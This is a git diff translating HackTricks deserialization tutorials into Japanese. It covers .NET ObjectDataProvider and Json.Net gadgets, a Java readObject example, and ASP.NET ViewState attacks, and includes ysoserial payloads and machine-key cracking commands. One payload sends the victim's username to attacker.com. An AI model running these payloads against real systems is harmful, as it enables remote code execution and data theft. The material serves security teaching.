**Check the post [https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks](https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks)**
**投稿を確認してください [https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks](https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks)**
{{#include ../../banners/hacktricks-training.md}}

File diff suppressed because it is too large Load Diff

View File

@ -1,70 +1,67 @@
# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
# 基本的な .Net デシリアライズ (ObjectDataProvider ガジェット、ExpandedWrapper、および Json.Net)
{{#include ../../banners/hacktricks-training.md}}
This post is dedicated to **understand how the gadget ObjectDataProvider is exploited** to obtain RCE and **how** the Serialization libraries **Json.Net and xmlSerializer can be abused** with that gadget.
この投稿は、**ObjectDataProvider ガジェットがどのように悪用されるかを理解すること**と、**Json.Net および xmlSerializer のシリアライゼーションライブラリがそのガジェットでどのように悪用されるか**に捧げられています。
## ObjectDataProvider Gadget
## ObjectDataProvider ガジェット
From the documentation: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
Yeah, it's a weird explanation, so lets see what does this class have that is so interesting: This class allows to **wrap an arbitrary object**, use _**MethodParameters**_ to **set arbitrary parameters,** and then **use MethodName to call an arbitrary function** of the arbitrary object declared using the arbitrary parameters.\
Therefore, the arbitrary **object** will **execute** a **function** with **parameters while being deserialized.**
ドキュメントから: _ObjectDataProvider クラスは、バインディングソースとして使用できるオブジェクトをラップして作成します。_\
そうですね、奇妙な説明ですので、このクラスが何を持っているのか見てみましょう: このクラスは、**任意のオブジェクトをラップする**ことを可能にし、_**MethodParameters**_ を使用して **任意のパラメータを設定し、**その後 **MethodName を使用して任意の関数を呼び出す**ことができます。\
したがって、任意の **オブジェクト**は、**デシリアライズ中に** **パラメータ**を持つ**関数**を**実行**します。
### **How is this possible**
### **これはどのように可能か**
The **System.Windows.Data** namespace, found within the **PresentationFramework.dll** at `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, is where the ObjectDataProvider is defined and implemented.
**System.Windows.Data** 名前空間は、`C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`**PresentationFramework.dll** 内で定義および実装されています。
Using [**dnSpy**](https://github.com/0xd4d/dnSpy) you can **inspect the code** of the class we are interested in. In the image below we are seeing the code of **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
[**dnSpy**](https://github.com/0xd4d/dnSpy) を使用すると、私たちが興味のあるクラスの**コードを検査**できます。以下の画像では、**PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> メソッド名**のコードを見ています。
![](<../../images/image (427).png>)
As you can observe when `MethodName` is set `base.Refresh()` is called, lets take a look to what does it do:
`MethodName` が設定されると `base.Refresh()` が呼び出されるのが観察できます。これが何をするのか見てみましょう:
![](<../../images/image (319).png>)
Ok, lets continue seeing what does `this.BeginQuery()` does. `BeginQuery` is overridden by `ObjectDataProvider` and this is what it does:
では、`this.BeginQuery()` が何をするのかを見続けましょう。`BeginQuery``ObjectDataProvider` によってオーバーライドされており、これがその動作です:
![](<../../images/image (345).png>)
Note that at the end of the code it's calling `this.QueryWorke(null)`. Let's see what does that execute:
コードの最後で `this.QueryWorke(null)` が呼び出されていることに注意してください。これが何を実行するのか見てみましょう:
![](<../../images/image (596).png>)
Note that this isn't the complete code of the function `QueryWorker` but it shows the interesting part of it: The code **calls `this.InvokeMethodOnInstance(out ex);`** this is the line where the **method set is invoked**.
If you want to check that just setting the _**MethodName**_\*\* it will be executed\*\*, you can run this code:
これは `QueryWorker` 関数の完全なコードではありませんが、その興味深い部分を示しています: コードは **`this.InvokeMethodOnInstance(out ex);`** を呼び出します。これは **メソッドセットが呼び出される**行です。
_**MethodName**_ を設定するだけでそれが実行されることを確認したい場合は、このコードを実行できます:
```java
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
```
Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ in order to load `System.Windows.Data`
注意:`System.Windows.Data`をロードするには、_C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ を参照として追加する必要があります。
## ExpandedWrapper
Using the previous exploit there will be cases where the **object** is going to be **deserialized as** an _**ObjectDataProvider**_ instance (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using `GetType`). Then, will have **no knowledge of the object type that is wrapped** in the _ObjectDataProvider_ instance (`Process` for example). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
前述のエクスプロイトを使用すると、**オブジェクト**が_**ObjectDataProvider**_インスタンスとして**デシリアライズされる**ケースがあります例えば、DotNetNukeの脆弱性では、XmlSerializerを使用してオブジェクトが`GetType`を使用してデシリアライズされました。そのため、_ObjectDataProvider_インスタンスにラップされているオブジェクトの型については**知識がありません**(例えば`Process`。DotNetNukeの脆弱性についての詳細は[こちら](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1)で確認できます。
This class allows to s**pecify the object types of the objects that are encapsulated** in a given instance. So, this class can be used to encapsulate a source object (_ObjectDataProvider_) into a new object type and provide the properties we need (_ObjectDataProvider.MethodName_ and _ObjectDataProvider.MethodParameters_).\
This is very useful for cases as the one presented before, because we will be able to **wrap \_ObjectDataProvider**_\*\* inside an \*\*_**ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_.
You can check this wrapper with the following code:
このクラスは、特定のインスタンスにカプセル化されたオブジェクトのオブジェクト型を**指定する**ことを可能にします。したがって、このクラスはソースオブジェクト_ObjectDataProvider_を新しいオブジェクト型にカプセル化し、必要なプロパティ_ObjectDataProvider.MethodName_および_ObjectDataProvider.MethodParameters_を提供するために使用できます。\
これは、前述のケースのように非常に便利です。なぜなら、**_ObjectDataProvider**_\*\*を\*\*_**ExpandedWrapper** \_インスタンス内に**ラップ**でき、**デシリアライズされると**このクラスは**_**OjectDataProvider**_オブジェクトを**作成**し、_**MethodName**_で示された**関数**を**実行**します。
次のコードでこのラッパーを確認できます:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -72,29 +69,27 @@ using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
```
## Json.Net
In the [official web page](https://www.newtonsoft.com/json) it is indicated that this library allows to **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. So, if we could **deserialize the ObjectDataProvider gadget**, we could cause a **RCE** just deserializing an object.
[公式ウェブページ](https://www.newtonsoft.com/json)には、このライブラリが**Json.NETの強力なJSONシリアライザーを使用して、任意の.NETオブジェクトをシリアライズおよびデシリアライズすることを可能にする**と記載されています。したがって、**ObjectDataProviderガジェットをデシリアライズ**できれば、オブジェクトをデシリアライズするだけで**RCE**を引き起こすことができます。
### Json.Net example
First of all lets see an example on how to **serialize/deserialize** an object using this library:
### Json.Netの例
まず、このライブラリを使用してオブジェクトを**シリアライズ/デシリアライズ**する方法の例を見てみましょう:
```java
using System;
using Newtonsoft.Json;
@ -103,60 +98,56 @@ using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
```
### Json.Netの悪用
### Abusing Json.Net
Using [ysoserial.net](https://github.com/pwntester/ysoserial.net) I crated the exploit:
[ysoserial.net](https://github.com/pwntester/ysoserial.net)を使用して、エクスプロイトを作成しました:
```java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
In this code you can **test the exploit**, just run it and you will see that a calc is executed:
このコードでは**エクスプロイトをテスト**できます。実行すると、計算機が起動するのがわかります。
```java
using System;
using System.Text;
@ -164,35 +155,33 @@ using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,90 +1,87 @@
{{#include ../../banners/hacktricks-training.md}}
In this POST it's going to be explained an example using `java.io.Serializable`.
このPOSTでは、`java.io.Serializable`を使用した例が説明されます。
# Serializable
The Java `Serializable` interface (`java.io.Serializable` is a marker interface your classes must implement if they are to be **serialized** and **deserialized**. Java object serialization (writing) is done with the [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) and deserialization (reading) is done with the [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html).
Javaの`Serializable`インターフェース(`java.io.Serializable`は、**シリアライズ**および**デシリアライズ**を行うクラスが実装しなければならないマーカーインターフェースです。Javaオブジェクトのシリアライズ書き込みは[ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html)で行われ、デシリアライズ(読み込み)は[ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html)で行われます。
Lets see an example with a **class Person** which is **serializable**. This class **overwrites the readObject** function, so when **any object** of this **class** is **deserialized** this **function** is going to be **executed**.\
In the example, the **readObject function** of the class Person calls the function `eat()` of his pet and the function `eat()` of a Dog (for some reason) calls a **calc.exe**. **We are going to see how to serialize and deserialize a Person object to execute this calculator:**
**The following example is from [https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649)**
**シリアライズ可能な**クラス**Person**の例を見てみましょう。このクラスは**readObject**関数を**オーバーライド**しているため、この**クラス**の**任意のオブジェクト**が**デシリアライズ**されると、この**関数**が**実行**されます。\
この例では、クラスPersonの**readObject関数**が彼のペットの`eat()`関数を呼び出し、犬の`eat()`関数が(何らかの理由で)**calc.exe**を呼び出します。**この計算機を実行するために、Personオブジェクトをシリアライズおよびデシリアライズする方法を見ていきましょう**
**以下の例は[https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649)からのものです。**
```java
import java.io.Serializable;
import java.io.*;
public class TestDeserialization {
interface Animal {
public void eat();
}
//Class must implements Serializable to be serializable
public static class Cat implements Animal,Serializable {
@Override
public void eat() {
System.out.println("cat eat fish");
}
}
//Class must implements Serializable to be serializable
public static class Dog implements Animal,Serializable {
@Override
public void eat() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
System.out.println("dog eat bone");
}
}
//Class must implements Serializable to be serializable
public static class Person implements Serializable {
private Animal pet;
public Person(Animal pet){
this.pet = pet;
}
//readObject implementation, will call the readObject from ObjectInputStream and then call pet.eat()
private void readObject(java.io.ObjectInputStream stream)
throws IOException, ClassNotFoundException {
pet = (Animal) stream.readObject();
pet.eat();
}
}
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(String[] args) throws Exception {
// Example to call Person with a Dog
Animal animal = new Dog();
Person person = new Person(animal);
GeneratePayload(person,"test.ser");
payloadTest("test.ser");
// Example to call Person with a Cat
//Animal animal = new Cat();
//Person person = new Person(animal);
//GeneratePayload(person,"test.ser");
//payloadTest("test.ser");
}
interface Animal {
public void eat();
}
//Class must implements Serializable to be serializable
public static class Cat implements Animal,Serializable {
@Override
public void eat() {
System.out.println("cat eat fish");
}
}
//Class must implements Serializable to be serializable
public static class Dog implements Animal,Serializable {
@Override
public void eat() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
System.out.println("dog eat bone");
}
}
//Class must implements Serializable to be serializable
public static class Person implements Serializable {
private Animal pet;
public Person(Animal pet){
this.pet = pet;
}
//readObject implementation, will call the readObject from ObjectInputStream and then call pet.eat()
private void readObject(java.io.ObjectInputStream stream)
throws IOException, ClassNotFoundException {
pet = (Animal) stream.readObject();
pet.eat();
}
}
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(String[] args) throws Exception {
// Example to call Person with a Dog
Animal animal = new Dog();
Person person = new Person(animal);
GeneratePayload(person,"test.ser");
payloadTest("test.ser");
// Example to call Person with a Cat
//Animal animal = new Cat();
//Person person = new Person(animal);
//GeneratePayload(person,"test.ser");
//payloadTest("test.ser");
}
}
```
## 結論
## Conclusion
As you can see in this very basic example, the "vulnerability" here appears because the **readObject** function is **calling other vulnerable functions**.
この非常に基本的な例からわかるように、ここでの「脆弱性」は、**readObject** 関数が **他の脆弱な関数を呼び出している** ために発生します。
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,6 +1,5 @@
{{#include ../../banners/hacktricks-training.md}}
**Check the amazing post from** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
**次の素晴らしい投稿をチェックしてください** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,165 +1,140 @@
# Exploiting \_\_VIEWSTATE without knowing the secrets
# __VIEWSTATEの秘密を知らずに悪用する
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
## What is ViewState
## ViewStateとは
**ViewState** serves as the default mechanism in ASP.NET to maintain page and control data across web pages. During the rendering of a page's HTML, the current state of the page and values to be preserved during a postback are serialized into base64-encoded strings. These strings are then placed in hidden ViewState fields.
**ViewState**は、ASP.NETにおけるページとコントロールデータをウェブページ間で維持するためのデフォルトメカニズムです。ページのHTMLがレンダリングされる際、ページの現在の状態とポストバック中に保持される値がbase64エンコードされた文字列にシリアライズされます。これらの文字列は、隠しViewStateフィールドに配置されます。
ViewState information can be characterized by the following properties or their combinations:
ViewState情報は、以下のプロパティまたはその組み合わせによって特徴付けられます:
- **Base64**:
- This format is utilized when both `EnableViewStateMac` and `ViewStateEncryptionMode` attributes are set to false.
- **Base64 + MAC (Message Authentication Code) Enabled**:
- Activation of MAC is achieved by setting the `EnableViewStateMac` attribute to true. This provides integrity verification for ViewState data.
- **Base64 + Encrypted**:
- Encryption is applied when the `ViewStateEncryptionMode` attribute is set to true, ensuring the confidentiality of ViewState data.
- `EnableViewStateMac``ViewStateEncryptionMode`属性が両方ともfalseに設定されている場合に使用される形式です。
- **Base64 + MAC(メッセージ認証コード)有効**:
- MACの有効化は、`EnableViewStateMac`属性をtrueに設定することで達成されます。これにより、ViewStateデータの整合性検証が提供されます。
- **Base64 + 暗号化**:
- `ViewStateEncryptionMode`属性がtrueに設定されている場合に暗号化が適用され、ViewStateデータの機密性が確保されます。
## Test Cases
## テストケース
The image is a table detailing different configurations for ViewState in ASP.NET based on the .NET framework version. Here's a summary of the content:
画像は、.NETフレームワークのバージョンに基づくASP.NETにおけるViewStateの異なる構成を詳細に示す表です。内容の概要は以下の通りです
1. For **any version of .NET**, when both MAC and Encryption are disabled, a MachineKey is not required, and thus there's no applicable method to identify it.
2. For **versions below 4.5**, if MAC is enabled but Encryption is not, a MachineKey is required. The method to identify the MachineKey is referred to as "Blacklist3r."
3. For **versions below 4.5**, regardless of whether MAC is enabled or disabled, if Encryption is enabled, a MachineKey is needed. Identifying the MachineKey is a task for "Blacklist3r - Future Development."
4. For **versions 4.5 and above**, all combinations of MAC and Encryption (whether both are true, or one is true and the other is false) necessitate a MachineKey. The MachineKey can be identified using "Blacklist3r."
1. **任意の.NETバージョン**の場合、MACと暗号化の両方が無効な場合、MachineKeyは必要なく、したがってそれを特定する適用可能な方法はありません。
2. **4.5未満のバージョン**の場合、MACが有効で暗号化が無効な場合、MachineKeyが必要です。MachineKeyを特定する方法は「Blacklist3r」と呼ばれます。
3. **4.5未満のバージョン**の場合、MACが有効か無効かにかかわらず、暗号化が有効な場合、MachineKeyが必要です。MachineKeyを特定するのは「Blacklist3r - Future Development」の仕事です。
4. **4.5以上のバージョン**の場合、MACと暗号化のすべての組み合わせ両方がtrueであるか、一方がtrueで他方がfalseであるかはMachineKeyを必要とします。MachineKeyは「Blacklist3r」を使用して特定できます。
### Test Case: 1 EnableViewStateMac=false and viewStateEncryptionMode=false
It is also possible to disable the ViewStateMAC completely by setting the `AspNetEnforceViewStateMac` registry key to zero in:
### テストケース: 1 EnableViewStateMac=falseおよびviewStateEncryptionMode=false
`AspNetEnforceViewStateMac`レジストリキーをゼロに設定することで、ViewStateMACを完全に無効にすることも可能です
```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
```
**ViewState属性の特定**
**Identifying ViewState Attributes**
You can try to identify if ViewState is MAC protected by capturing a request containing this parameter with BurpSuite. If Mac is not used to protect the parameter you can exploit it using [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
BurpSuiteを使用して、このパラメータを含むリクエストをキャプチャすることで、ViewStateがMACで保護されているかどうかを特定しようとすることができます。パラメータを保護するためにMacが使用されていない場合、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)を使用してこれを悪用することができます。
```
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
```
### テストケース 1.5 テストケース 1 と同様ですが、ViewState クッキーはサーバーによって送信されません
### Test case 1.5 Like Test case 1 but the ViewState cookie isn't sent by the server
開発者は **ViewState** を HTTP リクエストの一部として送信されないようにすることができます(ユーザーはこのクッキーを受け取りません)。\
**ViewState** が **存在しない** 場合、その実装は **ViewState デシリアライズ** に起因する潜在的な脆弱性から **安全** であると仮定するかもしれません。\
しかし、それは事実ではありません。リクエストボディに **ViewState パラメータ** を追加し、ysoserial を使用して作成したシリアライズされたペイロードを送信すれば、**ケース 1** に示されているように **コード実行** を達成することができます。
Developers can **remove ViewState** from becoming part of an HTTP Request (the user won't receive this cookie).\
One may assume that if **ViewState** is **not present**, their implementation is **secure** from any potential vulnerabilities arising with ViewState deserialization.\
However, that is not the case. If we **add ViewState parameter** to the request body and send our serialized payload created using ysoserial, we will still be able to achieve **code execution** as shown in **Case 1**.
### Test Case: 2 .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false
In order to **enable ViewState MAC** for a **specific page** we need to make following changes on a specific aspx file:
### テストケース: 2 .Net < 4.5 および EnableViewStateMac=true & ViewStateEncryptionMode=false
特定のページに対して **ViewState MAC****有効にする** ためには、特定の aspx ファイルに以下の変更を加える必要があります:
```bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
```
We can also do it for **overall** application by setting it on the **web.config** file as shown below:
全体のアプリケーションに対しても、以下に示すように**web.config**ファイルに設定することで実行できます。
```xml
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>
```
パラメータはMACで保護されているため、攻撃を成功させるにはまず使用されているキーが必要です。
As the parameter is MAC protected this time to successfully execute the attack we first need the key used.
You can try to use [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)to find the key used.
使用されているキーを見つけるために[**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)を試すことができます。
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
```
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) は、既知の machineKeys を特定できる別のツールです。これは Python で書かれているため、Blacklist3r とは異なり、Windows 依存性はありません。.NET viewstate 用には、「python blacklist3r」ユーティリティがあり、これが最も迅速な使用方法です。
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) is another tool which can identify known machineKeys. It is written in Python, so unlike Blacklist3r, there is no Windows dependency. For .NET viewstates, there is a "python blacklist3r" utility, which is the quickest way to use it.
It can either be supplied with the viewstate and generator directly:
viewstate と generator を直接提供することができます:
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
```
![https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png](https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png)
Or, it can connect directly to the target URL and try to carve the viewstate out of the HTML:
または、ターゲットURLに直接接続し、HTMLからviewstateを抽出しようとすることができます:
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
```
![https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png)
To search for vulnerable viewstates at scale, in conjunction with subdomain enumeration, the `badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md) module can be used:
脆弱な viewstate を大規模に検索するために、サブドメイン列挙と組み合わせて、`badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md) モジュールを使用できます:
```
bbot -f subdomain-enum -m badsecrets -t evil.corp
```
![https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png)
If you are lucky and the key is found,you can proceed with the attack using [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
運が良ければ、キーが見つかり、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**を使用して攻撃を進めることができます。
```
